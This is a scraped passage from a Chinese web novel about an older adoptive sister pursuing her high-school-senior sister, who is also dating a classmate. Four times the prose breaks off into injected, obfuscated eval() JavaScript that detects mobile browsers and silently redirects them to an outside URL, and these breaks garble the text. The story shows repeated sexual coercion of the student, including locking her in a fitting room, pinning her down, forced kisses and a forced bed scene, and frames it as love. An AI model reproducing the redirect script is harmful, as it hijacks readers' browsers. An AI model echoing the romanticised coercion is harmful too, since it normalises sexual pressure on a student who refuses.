从小到大,苏青沅向来宠她,在物质上也一向不吝给她最好的,几乎每逢换季,都会来给她添置新的衣物。 二楼有内衣店,苏青荷站在门口不愿意逛,苏青沅自顾先走了进去,对导购员直接说:“请替她找几种合适的款式。” 那导购员看见门口的人不肯进来,又见一旁的苏青沅已然在衣架前挑选,她主动笑着走过去,对苏青荷道:“您好女士,这边请。” 苏青荷咬唇,无奈迈步走进去。 导购员看她年纪,挑选了一些适合中学生的款式和背心,笑着说:“女士,这几种喜欢吗?我挑了一些尺寸,您可以到试衣间试一下,看看喜不喜欢。” 苏青沅回头看了一眼,是一些小清新还有碎花简约款,一看就是少女常爱的那种风格,她转过头去,淡淡说:“她应该要穿B了。” 导购员看了眼苏青荷,见她穿着棉服外套,根本看不出身材,见状又讪讪笑道:“好,我再找几个。”说着又在衣架上找了几件合适的尺码,递给她。 苏青荷耳根发烫,接过导购员拿给她的几件,急忙进了更衣间。 苏青沅瞥见她羞赧的神情,转过头无声勾起唇。 又在衣架上找了几个稍成熟不那么幼稚的款式,她走向更衣间,那导购员站在一旁,见里间的人迟迟没有出来,主动说道:“女士,是不好穿么,要不要我帮您系搭扣?” 话音刚落,苏青沅走过来,淡声道:“我来吧。” 说着推开更衣间,拿着那几件新款式走了进去。 里间苏青荷套头的毛衣还没有放下来,回头看见人吓了一跳,急忙就往下拉,那内衣搭扣还没有扣好,勾住了毛衣,露出后背一大片脊背。 苏青沅反锁上门,转过身伸手要替她将毛衣掀上去,苏青荷攥住拳用胳膊肘抵她。 “别动。”苏青沅冷声喝道,重新替她系好内衣,又拉了一拉试探松紧度,确认尺码合适才松开了手。 是合适的尺码,她估量得没有错。 相比同龄人,苏青荷发育得很好,她身量高挑,近来又偏瘦一些,所以就愈发衬了出来。她不是骨感的那一类,匀称得当,腰腹线条流畅,漂亮的脊背像一只翩跹的蓝蝴蝶。 其实她们长得不同,没有多少相似的地方。苏青沅是偏清冷型的深邃五官长相,相比较,苏青荷是明艳系的,有一种古典的东方中式美。 她一直都是漂亮的,从小时候起,只要姐妹俩在一起,亲戚朋友总是夸赞苏青荷偏多一些。 苏青荷脸颊染上绯红,她侧目皱起眉道:“你进来干什么,出去。” 苏青沅将手里挑选的款式一一挂在旁边,慢条斯理道:“这几件你看看喜欢吗,款式不一样。” 苏青荷有些着急,眼睛看也没有看,只说:“我不喜欢,你出去!” “你声音再大一些,外面的人就要听见了。”苏青沅道。 苏青荷被她的话吓到,她焦急地转过身来,面对她,又急又恨地问:“你到底想要干什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423079|184812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苏青沅看她因为脱换衣服而松散下来的马尾,发丝散乱,雾一样拢着整张绯红的脸,狭小的空间里,她忽然想起那夜吻她的样子,也是这样一张愤怒却染上满面红霞的脸颊。 苏青沅有些心动,声音也不自觉变得温润柔软,她耐心地说:“我只是想帮你。” “我不需要。”苏青荷冷声拒绝,转身就要开门出去。 苏青沅看见她厌恶的眼神,忽然气涌心头,伸手抓住她的手腕,将人拉回来按在墙上。 苏青荷如临大敌,她牙关颤抖地盯着她:“你,你做什么?!” “我难道就真的让你这样讨厌吗?连一句心平气和的话都不愿意同我说,从前,从前我们也……” 她突然提起从前,让苏青荷脸色大变,她抬眼打断她的话:“你不要和我说从前,如果我知道你是这样一个禽兽,我只当从来没有遇见你,我死了也不会踏进这个家里一步!” 苏青沅听着她这些话,只觉一颗心被她无情凌迟着,一刀一刀,鲜血淋漓。 “禽兽?我为什么是禽兽?!”苏青沅两手抓住她的手腕,高高举过头顶,逼迫她以这样的姿势面对着自己,她压下头去吻她,苏青荷急忙转过头,气息喷.涌在她的颈间,她屏住呼吸,听见耳边的声音,难堪而又绝望,“你说你是我妹妹,可你是我妹妹么?” 她不敢面对,苏青沅就越要她面对。 她不敢承认,苏青沅就要逼她承认! 苏青荷身体瘫软下来,只被苏青沅紧紧抓住才没有跌下去,她眼眶发红,眼泪终于掉下来,心如死灰地苦笑道:“是啊,我不是,我只是一个任人欺辱,任人践踏毫无招架能力的孤儿。苏青沅,你满意这个回答吗?” 眼泪滴落的瞬间,她转过头来,固执而倔强仰头盯着她。 9. 第 9 章 chapter09 出了商场,苏青荷不肯跟她走,顶着太阳就往路边拦车。 苏青沅抓住她,皱眉:“你去哪儿?” “我要回学校。” “我送你。” 苏青荷甩开她的手,“不用你送。” 苏青沅紧紧将人扯过来,手臂环住她的腰,在她头顶沉声说:“你东西都在车上,胡闹什么?” 今日是周末,商场门口来来往往人很多,有人看向她们,苏青荷看见那一道道的目光,几乎惊弓之鸟,只觉像一把把的火苗,要将她烧毁。 苏青荷挣离她的怀抱,转身往停车场走。 苏青沅见状,驻足几秒后,才抬脚跟上去。 上了车,已经十一点了,苏青沅没有开口说要去吃午饭的话,因为知道,这个时候,她在气头上,要她平心静气坐下来和她吃饭,是妄想。 驶离停车场,苏青沅送她去学校。 学校离市中心有些远,几乎要跨区,再加上周末中午车流量高峰,开了近四十分钟才到学校。 到了校门口,苏青沅下车替她拿东西,又把刚刚在商场买的东西都装进了箱子里。 “我送你上楼。” 苏青荷从她手里接过行李箱,冷冷地说:“不用。” 苏青沅牵住她的手,耐下心来喊她:“荷荷,不要对我生气。” 门口都是师生家长,苏青荷吓了一跳,急忙抽出手,抬头看向她,眼里有难堪与紧张,急声道:“你不要碰我。” 放在从前,这样最寻常的亲昵她们其实司空见惯,可是不知从什么时候起,她开始排斥,几乎连一个善意温柔的眼光都是吝啬的。 苏青沅有一瞬间后悔挑开这样的关系。 “对不起荷荷。”苏青沅低下头轻声向她道歉,“我……” 她欲言又止,一时不知该说什么,又应该怎么说,快要三个月了,这样的冷淡,不止让她痛苦,也同样折磨着自己,苏青沅眼眶有些酸,沉默过后,最后垂下长眸落寞道:“不论你怎么样看待,我都没有后悔过,或许你不能接受,可我却不能放手。”说完,她转身离开。 苏青荷站在原地,看着她掉头离开的身影,开车离开,直至消失在人海里。 她不知道怎么了,看见那样卑微的苏青沅,她忽然觉得恍惚。她像是从来没有认识她,那永远高傲骄矜的苏青沅,这一刻,像是一个失败者。 曾经,她是她生命里唯一无所不能的人,她相信她,依恋她,更无法……接受有一天失去她,可是,又怎么会演变成现在这样相互伤害的地步。 日复一日冗长的课堂与试卷,几乎将所有人都淹没。 四月底,南英高三迎来二模考试。二模比一模要难很多,所有人的成绩都不如第一次,分数一下子低了许多。 苏青荷也不例外,然而更反常的,是她的成绩排名倒退了。这一次大考的年级第一是乔楠,苏青荷不仅没有保住这一直而来的第一,还滑到了年级第四,整个大市十名开外。 这一次二模,理科题目全体难度增加,苏青荷的理科并不占优势,相反却是乔楠的舒适区。 所有因素堆积在一起,苏青荷的下滑,所有老师同学都显而易见。 事实上,她这几个月来的状态不佳,几乎所有人都能看穿。 成绩有起落是正常的事情,苏青荷也一向不在意这些,她不在乎一两次的失败起伏,学习向来是要拉长线看整体综合水平,可是真真切切看见分数和排名的时候,心底里还是忍不住失落。 数学试卷摆在面前,第五题就出错了。这样的基础题,她竟也能粗心至此。 她承认,不只是学习的问题,是她的状态出错了。她仿佛失去了静下心的能力,她将自己埋进一张一张的试卷里,甚至比从前更勤奋更努力,企图寻找一点点的心安和平静。 可是好像不由人控制,她变得更差。甚至,她连一个调节的方式都找不到。 一旁陈郁微见她看着桌子上的数学错题,明显的一道基础题,题目不难,陷阱也是最常见的那种,这样的题目,她们一班,大概没有人会做错。 可是从来第一名的苏青荷却竟然出错了。 相比一模,班上大部分人分数都降低了,但陈郁微这一回却意外进步了许多,她从班级二十名开外一下进了前十五名,总分不仅没有降低,反而还持平多了几分。虽然看似只有几分,但含金量却很高。 陈郁微看穿苏青荷这段时间状态不好,她轻声安慰她,“荷荷,你别难过,不过一次考试嘛,又不是最终的高考,还有一个月,以你的实力,上A大是一点问题没有的。” 苏青荷低着头,手里的笔停下来,她知道陈郁微在安慰她,只是,有时候安慰起不了任何作用。 但她还是抿唇轻声说:“谢谢你,郁微。” 陈郁微笑了笑,“咱俩还说这个干什么。” 话音刚落,后门鲁慈慧忽然喊了一声:“青荷,来一下办公室。” 周围几个同学一怔,都抬头看苏青荷的方向。苏青荷站起身,朝后门口走,进了班主任办公室。 鲁慈慧是语文老师,办公室里还有其他班级的班主任,有的同样也是苏青荷其他学科的老师,只不过此刻都不在,办公室里,只剩下她们两个人。 苏青荷成绩下滑,是年级里非常重视的问题。每一届几乎都有升学指标,对于优等生来说,需要角逐顶尖高校的名额,而苏青荷也更是这一届学生里的重中之重。 高考眼看在即,苏青荷的状态明显是有问题的,这一个月来,班主任鲁慈慧除了安慰和鼓励之外,也并没有多说什么,苏青荷是什么样的性格和学生,老师们心里都有数,她聪明上进,平时也几乎一点就透,领悟力极高。 这样的优秀学生,其实不需要外人来说什么,指摘和压力反而适得其反,只要稍加注意,她自己就能调节得过来。 可显然一个月来,苏青荷并没有成功走出这个状态。 鲁慈慧特意挑了办公室没人的时候,单独叫了她来,温声说:“坐吧,老师跟你聊聊。” 苏青荷有些忐忑,她知道班主任的来意,也知道自己的问题所在,可是她没有办法来控制自己的状态了。 “最近是有什么心事吗?跟老师说说。”鲁慈慧开口问道。 苏青荷低着头,没有说话。 鲁慈慧见她沉默,语气不由放缓,道:“这段时间,老师同学们都能看出来,你整个人状态心态都不太好,老师也知道,高三冲刺阶段压力大,功课习题试卷一大堆,匆忙又繁重,你的能力老师们都是知道的,我也和几个学科老师商量了一下,这段时间,你尽量少做些试卷习题,作业交不上也没有关系,有的试卷也没有必要做,主要还是调节好自己的情绪和状态。冲刺阶段了,这些题不是要紧的,最重要还是自身的状态,有时候就是这样,越努力越开展题海战术,反倒效果越不好,压力状态这种事情,放下来反而有出奇的效果。” 鲁慈慧这番话是带领多届高三生的经验,对于学生来说,她们人生中只有一次这样的阶段,可对于班主任来说,这样的阶段却又游刃有余得多。 鲁慈慧没有追根究底问苏青荷的心事,只还是说了一些自己作为过来人的经验,她又突然提起苏青沅,说道:“你姐姐当年也是这样的,一模二模三模都不理想,都不能用接二连三的打击来说,她是沉寂了好长一段时间,堆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423080|184812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海成山的卷子做了又做,她英语不好,每天几乎要花一半的时间放在英语上,可反而越是这样,测验的效果却一次比一次差,有一回啊,我站在窗外看见她自己对着试卷独自掉眼泪,也是挺心疼的。” 苏青荷静静地听着她讲述苏青沅的事情,这些事,她从来不知道。 在她的记忆里,姐姐成绩一向优秀,每次听见,总是哪次考试哪次测验又是第一名之类的话,父亲也一向夸赞,说她优秀聪明。 可苏青荷没想过,她也会偷偷因为英语掉眼泪。 关于英语,她们其实有一段难忘的经历。那时候她刚四年级,接触英语没多久,而苏青沅已经初二了。每天早上起来,苏青荷都能看见她在院子外背课文背单词,整整那一年里,几乎风雨无阻,从未懈怠过一天。 其实苏青荷的学习启蒙对象就是姐姐,那是她人生中第一次也是唯一一次明白,究竟什么是努力,什么是失败了一百次仍旧不放弃。 也是因为这件事情,苏青荷英语底子一直都很好,那是因为后来的大半年里,她也每天跟着姐姐一块儿背单词背课文打下的基础。 她也一直以为姐姐英语很好,可居然是她的短板么。 鲁慈慧继续道:“你姐姐最强的一点就是毅力,这么多年的教书生涯里,我还从来没见过有她这样毅力强的学生,失败不是很容易接受的,有人失败一次,爬起来拍拍灰说没关系,能够接受再一次的打击,可如此失败三次五次十次二十次呢,能有这样强大心态的人,几乎是没有的,可是你姐姐苏青沅就是其中的例外。我相信,即便失败百次千次,她依旧不会放弃。” “老师说这么多,其实还是想告诉你,心态,有时候比任何的习题试卷要来得重要得多。你姐姐英语是她所有学科里最薄弱的,也是对她而言最没有天赋的一科,可她就比你能够调节自身的状态。高考分数下来,她的英语分数,比她任何一次模考和测验都要高,也正是如此,她是她们那一届的理科状元。” 苏青荷静静听着鲁慈慧诉说关于姐姐的这些事迹,这些她从来都不知道的事情,不知道为什么,起先那一颗恹恹愁闷的心,却忽然间被注入了另一种力量,她也在这一瞬间,体会到什么叫永不言弃,失败了又怎么样,她不能够站起来么,不是的,即便失败一千次一万次,她也不想要放弃。 放弃是懦夫的行为,对于她来说,没有任何的意义,也给予不了她任何的支撑,她想要站起来,即便迎接破刃的鲜血淋漓,她依旧还觉得是痛快的。 这样的失败,也比放弃要值得。 “鲁老师,我知道了,我会努力调节好自己的状态。” 鲁慈慧笑道:“老师相信你能调节过来,有时候分数不重要,排名也不重要,重要的是信念,你有没有那提着一口气的信念。你是聪明孩子,你和你姐姐其实很像,你们都是固执的人。固执的人都有一个相同的点,那就是不肯放弃,不肯松手。” 苏青荷微怔,抬起头看向她,从小到大,几乎没有人说过她和苏青沅像,这是第一次有人说她们都是固执的人。 她忽然想起苏青沅,想起这段时间以来她们之间种种一切,也不得不承认,苏青沅的确是固执的。 可是自己呢,自己是固执的人么? 第一次,她忽然发觉自己不了解自己。 她也忽然明白过来,这些日子,她将自己埋在繁重的试卷堆里,以此企图逃避去想苏青沅。 可是,事情证明,她失败了。 不过是自欺欺人而已,她非但没有逃离得掉,却还不得不承认,其实这几个月来,苏青沅充斥占据着她所有的思想和身体,她像灯塔,将苏青沅照得通通透透,却唯独迷失了自己。 10. 第 10 章 chapter10 二模结束这周末,正好是五月端午节放假。 高考在即,年级里各班组织开了一次家长会,苏青沅有她们的家长群,知道苏青荷这周末放假,也知道她们要开家长会。 周六上午十点,开完家长会就会放假。 苏青沅本来有工作要忙,却还是推掉了上午的会议,自己开车到了南英中学。 九点四十五,各班的早自习还未结束,二楼教室外的走廊上已然围了不少家长,三三两两交谈着,略有些嘈杂。 苏青沅只站在窗户外,她靠在那阳台边,看着窗户里的身影。 半个月不见,其实很想念。 今日风大,她坐在那窗边的位置,风吹起她的前额刘海,她低着头,专注着面前的试卷。周围的人都在窃窃私语说话谈笑,有的还看向窗外,找他们的父母亲人,一张张青春的面孔,青涩、稚嫩。 只有她,像是知道此刻自己在看她,所以故意连一个目光都没有给她。 苏青沅看着教室里的人,直到九点五十的下课铃声响起,所有人站起身收拾东西,苏青沅才看见她转过头来,隔着茫茫人群,她们的目光在这一刻交汇。 所有学生引家长坐到自己的位置上,桌子上人手放了一份一二模的成绩表,以及班级年级还有整个大市的排名表格,班主任鲁慈惠在讲台上指挥着。 苏青荷对她说:“我去外面等你。” 苏青沅:“好。” 十点钟家长会准时开始,所有家长留在教室,学生都在外面。 苏青荷出了教室走到楼梯,转头看见从楼上下来的乔楠,乔楠叫住她:“荷荷。” 苏青荷抬眼看她,轻牵了下唇应她。 两人一起下楼,乔楠:“是你姐姐来的吗?” 苏青荷微怔,嗯了一声。 片刻沉默之后,走到楼下,苏青荷主动地说:“我看到你的分数了,还没有恭喜你,你这回的排名比一模高了很多。” 乔楠知道苏青荷这一回失利,见她这样说,心里有些失落,安慰她:“荷荷,你不要担心,只是一次考试而已,又不是最后的高考。” 从一楼西边走廊走到头,她们站在墙下,苏青荷停住脚,转过身来看她,笑着说:“我没事的,你也太小看我了,我是会为了一两次考试而伤心的人吗?” 乔楠看见她松快的神色,这才放下心来,两人相视一笑。 是啊,苏青荷从来都是坚强有力量的人,她永远热切热烈,从不会将自己困在任何的角落里。 乔楠站在墙边台阶上,低头伸手去拉她的手,放在手心里一点点踹捏,温声道:“荷荷,我爱你。” 苏青荷轻愣,她站在台阶下,低下头看她的手心,这是她们认识以来,乔楠第一次说爱她。从前,她们也会互相诉说着含蓄的温情的话,偶然勇敢热切时候,乔楠也会说喜欢她,但是“爱”这个字眼,她是第一次说。 乔楠不是善于表达的人,其实她也是一样的。所以她们在一起,也很少会说这些话。 她们之间,有时候仅仅是一个眼神对视,乔楠靠在她耳边低低地喊她的一声“荷荷”,也足够让她心动。 这一刻,苏青荷站在台阶下抬头看她,心跳砰砰加速,四目相对的一瞬间,也像地老天荒那样永恒,她抿起唇,低下头扬起笑容。 乔楠也不由地笑了,双手一起拉住她的手,彼此对站着,一句话都没有,风轻轻吹过来,也觉得心动。 忽然,乔楠温温柔柔喊她:“荷荷,等我们毕业了,就正式恋爱,好不好?” 苏青荷感受着双手被她湿热的手掌包裹着,她抬眼重新看向她,牵唇笑问:“难道我们现在不算吗?” 乔楠笑,“算,但我还是想要一个正式的开始。不知道为什么,总觉得要等上了大学,我们才是大人,才配拥有一段正式的有美好开头的恋爱。” 苏青荷抿唇,眼神里有平淡的温馨,她轻轻说:“那是你不成熟的象征。为什么非要做大人才是美好的,我们这样的青春岁月,往后永远都不会有了。这样热切的年轻的稚嫩,一生都不会再有了,就好像十六岁,我们逝去的十六岁,永远都不会再回来了。” 乔楠凝视她的双眸,不知道为什么,这张漂亮的明艳的面孔,她忽然有一种错觉,仿佛就像是看到了一种哀伤。 或许是这段时间给她的感受,她轻而易举感知到苏青荷的低落和不开心,她不知道她怎么了,可是就有这样的感受。 这样的哀伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423081|184812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也忽然让她觉得自己离她好遥远。就如同她此刻说的这番话,自己停留在十八岁,妄图立刻马上此时此刻就跳进三十岁的成熟和智慧,可苏青荷却好像就已经站在了三十岁,来艳羡十八岁的自己。 苏青荷被她的眼神愣住,她失笑问:“怎么了?” 乔楠望着她,紧紧拉住她的手,问:“荷荷,你会离开我么?” 苏青荷轻愣住,“为什么会问这样的问题?” “我也不知道。”乔楠垂下双眸,漆黑的长睫遮住眼里的失落,她说,“或许是我害怕,害怕会失去你。” 苏青荷也低下头,这一刻仿佛也失去了和她对视的勇气。 她知道乔楠能感知到自己这段时间以来的变化,因为她爱她,所以即便自己没有告诉她一切,她还是会有这样患得患失的害怕。 苏青荷紧紧攥住她的手,给她力量,也像是给自己力量那样,她抬起头来重新看她,“乔楠,我们——” 话还未说出口,目光忽然瞥见乔楠身后走廊尽头的人,整个人猛然怔住。 乔楠见她停住,抬眼看着她,“怎么了?” 苏青荷飞快收回视线,原本要说的话,却忽然一个字都说不出口了。 慌乱的瞬间,她几乎忘记了自己原本要说什么。 乔楠再次看见苏青荷眼神里的失措,一时心疼地伸手去拥抱她,她抵在她的额前,认真地说:“荷荷,我们不要分开,不论什么时候,发生什么,我们都不要分开,好不好?” 苏青荷贴进乔楠的怀里,心跳砰砰地,她忐忑踌躇地站在那里,在明知道走廊尽头苏青沅站在那里的情况下,还是闭上了双眼,她坚定地答应乔楠:“好,我们不分开,永远都不分开。” 苏青沅站在楼梯口,家长会只有短短的十分钟就结束了,所有家长围着班主任问自己孩子的成绩大学预测,她独自出来找她,却看见了眼前这幅场景。 她的二模考试失利了,三年来唯一一次掉出了年纪第一的排名。成绩和排名下滑的比率,高到班级中间的位置。 苏青沅知道,那里面有自己的原因。 她是不是该认为,苏青荷还会因为她失控。 她收回视线,不再看那墙下相拥的人,转身离开。 11. 第 11 章 chapter11 十点半,苏青沅开车离开学校。 苏青荷坐在车后座,一路上,彼此都没有说一句话。 她们半个月没有见了,上一回见面,也不过匆匆吃了一顿饭,正好遇上当天苏青沅工作要出差,再加上她们冷战,一顿饭下来,话也没有说超过两句。 天气渐渐热了,车窗摇下来,风吹进车厢,刮的副驾驶上的几张成绩单哗哗作响。 “这一次考试没有考好么?”苏青沅淡声问她。 苏青荷撑着手抵在车窗上看外面飞速略过的车辆,神情淡淡,轻声嗯了一声。 随后又是长长的沉默。 车子一直开到别墅门口,苏青沅都没有再开口问她什么。苏青荷也知道她今天看见了自己和乔楠在一起,一个月前,她威胁自己和乔楠分手,只是事情一直到今天,她都没有提。 到家门口,苏青沅没有下车,只说:“我下午公司还有事情,今天就不陪你在家了,中午张嫂过来给你做饭,你想吃什么,都可以和她说。” 苏青荷看着她的背影,她穿了一件雪银色的衬衫,是她上班常穿的西装内搭通勤服,如果不上班,她一向是以休闲为主的,不会这样正式。 她哦了一声,拉开车门下车。 搬下后备箱里的行李箱,她独自转身进门。 苏青沅看见后视镜里进屋的人,没有回头,连一个留恋的眼神也没有。 她不得不承认,她的荷荷变了。 像是在一个瞬间,自己剥夺了她所有的快乐。 苏青沅知道这几个月来的变故,给她造成了太大的影响。她此刻正高三,距离高考也不过只有一个月的时间,任何的争执和胁迫,相比之下,都变得微不足道。 苏青沅也知道,这时候,她的一句话,甚至只是出现在她眼前,都能够影响到她的状态。这一次二模考试的失利,就是最好的证明。 高考不比其他,是她一生的起点。她的荷荷一向是个优秀的孩子,不论是学习上,还是对待生活和事物的认知,她都比同龄人更有智慧和见地。 从来到苏家的第一天,苏青沅就知道,她不是天真和单纯的人。 异样的成长环境,或许就注定了她没有安全感。一个没有安全感的小孩,也永远都不会将一颗心彻底地剖开来交给别人。她也知道,小时候的苏青荷多多少少是伪装了一部分的,或许那也不算是伪装,只是她那种不安全感之下做出的本能反应,这种本能,大约连她自己都没有察觉。 她一直都有着比同龄人更成熟的智慧和稳重,等将来上了大学,在毕业后,也一定会有她闪亮发光的领域。 她会变得越来越耀眼,认识更多的人,然后发现,这世上会有更多比苏青沅更好更优秀的人。 苏青沅,不过是她人生前半段里,最最不起眼的那一个。 她和其余人唯一不一样的,只不过是陪着她长大了而已。 她甚至见证了她的稚嫩,伪装,浅薄,和不成熟的自己。越优秀,越成长,她就越该抛弃那个见证她所有不堪的苏青沅,把她远远甩在看不见的地方。 她是她圈子之外的人,那界定好的关系,是一个画地为牢的笼子。 她甚至没有资格站在那旁边,即便一个不起眼小小的乔楠,也可以轻而易举将她踢出局外。 车子开到公司车库,她从专用电梯上去,助理徐琦看见她,和她汇报今日的行程:“苏总,下午两点召开部门小组会议,五点维衡那头的合同会传过来,他们希望今天能够签订,晚上七点,兆佳的萧总,还有峰湾的裴副总监在凤楼定了位置……” 徐琦抬眼见她脸色有些疲惫,话头略微止住停下来,试探地开口问:“苏总,苏总……” 喊了她好几声,苏青沅才回过神来。 徐琦知道她去给苏青荷开家长会了,大约是自己毕业季,公司工作又忙,再加上还要照管高三的妹妹,事情太多太乱,让她一时有些应付不过来,徐琦开口道:“我看您脸色不太好,要不要先休息一会,下午的会议挪到周一也是可以的。” 苏青沅淡声说不用,明天放假,今天本来就是加班维衡的案子,所有人调休加班,再拖就更忙不完了。 “把会议资料先发出去吧,会议准点开。” 徐琦点点头说好,又想起来这周放假,苏青荷在家里,一向逢她放假,苏青沅都是不工作的,她又多问了一句:“那晚上的饭局,还要过去吗?” 苏青沅往办公室走,一边说:“嗯,正常约时间吧。” 徐琦道:“好的。” 晚上的饭局,是苏氏公司常合作的几个客户组织的,苏青沅刚接手公司,一些业务交际应酬,也是必不可少。 饭局结束,已经是十点了,徐助理扶着她出来,看着她身形摇晃,脚步虚浮,知道她今晚有些不在状态,喝了很多的酒。 “苏总,苏总,你还好么?要不要我去买点醒酒药,对面有个药店,你先等我……” 话未说完,苏青沅扶着车门抓住她,摇头说:“不用了,你送我回去,我有些累了。” 徐助理见她脸色不太好,没有办法,只好开车送她到家里。 车子开到门口,徐琦扶她下车,要送她上去。苏青沅摆手,道:“不早了你回去吧,明天来接我。” 这里别墅区不好打车,再加上深夜,徐琦只好把车开走,明天早上再来接她。 “好的苏总,那我先回去了。” 苏青沅撑着头,拧眉道:“好,路上当心。” 踉跄着开门进屋,整栋楼一片漆黑没有光亮。她寻着习惯上了二楼,伸手推门,门锁旋了好几下,才发现从里面锁上了。 她头疼欲裂,几乎站不住,无奈地靠着门一点点滑了下去。 房间里,苏青荷刚有了睡意,忽然听见门口的动静,她惊了下坐起身,漆黑之中看向房门口。 门锁传来动静,片刻之后,又没有了声音。 她以为苏青沅会拿钥匙开门进来,可战战兢兢等了半天,也没有再听见动静。 她缓缓重新躺下去,闭上双眼,努力将一切烦乱清出脑海,可不知怎么,她睡不着,她无法控制自己不去想苏青沅。这三四个月以来,苏青沅像是长在了她的身体脑海之中,她几乎怎么都忘不掉她。 不知过了多久,苏青荷坐起身,开门出去。 门一开,忽然有道身影倒在地上,高跟鞋脱在了一旁,她吓了一跳,急忙蹲下去扶她,“姐,姐你怎么了?!” 酒气扑鼻而来,苏青沅睁眼醒过来,眼眶模糊地看着眼前的人。 胃里一阵难受,她几乎头疼地要裂开,身体胃里都像火烧。 忍不住胃里的翻江倒海,苏青沅冲进洗手间,将胃里全吐了干净。 她几乎一天没有吃饭,晚上也几乎全在灌酒,吐得整个人生理性流眼泪。 苏青荷冲到洗手间,在她身后不住地替她拍背冲水,拿水给她梳口。 像是想起来什么,房间抽屉里有解酒药,她扣出两粒,让苏青沅吃下了。 过了半天,苏青荷见她缓了过来,轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423082|184812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻喊她:“姐,姐你好点了么?” 苏青沅坐在地上,闭着眼睛趴在马桶上,整个人无力瘫软着,她听得见耳边熟悉的声音,也感受到她的存在,只是她没有力气,连睁开眼说话都不能够。 苏青荷一直蹲在旁边,怕她出事,见她脸色没有刚才那么难看了,只是依旧没有反应。 她站起身环顾了一圈,已经十二点多了,没有办法让她就这样在地砖上坐一夜。 苏青荷犹豫了半天,无奈给浴缸放水,又去脱她身上的衣服。 衬衫纽扣太多,苏青荷颤抖着手,一颗一颗从下往上替她解开,解到领口处,指尖蹭在苏青沅下颌,有些凉,苏青沅眼睛挑开一道细缝,望着眼前的人。 苏青沅伸手抓住她的手,按在胸口,低低地喊她:“荷荷……” 苏青荷吓了一跳,急忙将手奋力抽出来,结舌道:“我……你,你洗个澡吧。” 她起身,急忙从洗手间退出去。 苏青沅还怔坐在地上,看见旁边台子上的矿泉水瓶和药片,浴缸里水声不断,思绪恍惚飘零。 独自洗了澡,苏青沅裹着浴巾从浴室出来,刚开了门,就看见从旁边沙发上站起来的人。 苏青荷微怔,双眸低垂下来,将手里的睡衣放在一旁,“你的睡衣……” 转身要走的瞬间,苏青沅伸手一把抓住她的手腕,将人拉入怀中,双臂张开紧紧扣住她的身形。 苏青荷挣扎着要走,苏青沅按住她的后脑压在肩膀上,声音蒙上一层无奈:“为什么不肯承认,你在乎我。” 苏青荷攥紧拳,撑在与她身体之间,紧紧抿住唇不肯说一个字。 “荷荷,我不贪心,只要一点点的好,我只要一点点就够了,可为什么连这一点你也吝啬至此。” 挣扎间,浴巾早已扯掉。 苏青沅抱她跌进床榻,双手抓住她的手腕,高高压在床头,她迷乱低头吻她,苏青荷心跳得几乎要蹦出来,拼命躲开这铺天盖地的吻。 可这吻像一张大网,无所遁形地拢住了她,掐住了她的喉咙,她怎么逃都逃不掉。 “你为什么不敢看我?”苏青沅曲膝跪在她身侧,身体在上方笼罩住她,低头看着她偏过头的侧脸,“面对别人,你会笑,会主动去拥抱她,可为什么这样对我?” 苏青荷紧紧攥住拳头,依旧是一个字也吝啬给她,只奋力要挣开她的手掌。 苏青沅用了十份力,两手做一手将她两只手腕并在一起,高高举过头顶按在床头,她单手扶住她的脖颈,逼迫她转过头来面对自己。 “告诉我荷荷,你为什么不看我?” 苏青荷被迫面对着她,她此刻未着片缕,目光触及几乎避无可避。 她难堪地咬牙切齿恨道:“因为我恨你,苏青沅!我恨你!” 苏青沅眼眶微湿,带着猩红的绝望与愤恨,无声呢喃:“恨,只有恨……” 苏青沅发了疯一样的吻她,她仿佛都记不起苏青荷的笑容了,脑海里唯一有的,只剩下白日里她面对那个乔楠的面容,那样的温柔,那样的笑容,都是对别人。 苏青沅承认自己嫉妒,发了疯一样的嫉妒!她给自己下定决定不要靠近她,给彼此一点空间,她那样聪明,或许有一天她会明白,会跳出这个束缚,这个独独给她的、不公平的带着偏见的束缚! 可是,可是她高估了自己,她做不到!理智与思考一齐失控,仿佛只有占有,才能叫她真真切切地感受到她的存在! 